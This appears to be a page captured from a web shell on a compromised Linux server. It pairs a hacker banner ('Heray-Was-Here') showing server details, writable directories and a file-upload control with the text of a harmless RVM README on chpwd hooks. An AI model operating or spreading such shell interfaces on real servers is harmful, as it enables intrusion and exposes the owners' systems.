Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/local/rvm/src/rvm/scripts/extras/bash_zsh_support/chpwd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/rvm/src/rvm/scripts/extras/bash_zsh_support/chpwd/README.md
# Bash support for Zsh like chpwd hook

Implemented based on the description from
http://zsh.sourceforge.net/Doc/Release/Functions.html#Hook-Functions

## Usage

1. load `function.sh` and `load.sh`, eg:

        source chpwd/functions.sh
        source chpwd/load.sh

2. add the hook - replace `_hook_name` with your function name:

        export -a chpwd_functions                              # define hooks as an shell array
        [[ " ${chpwd_functions[*]} " == *" _hook_name "* ]] || # prevent double addition
        chpwd_functions+=(_hook_name)                          # finally add it to the list

Hry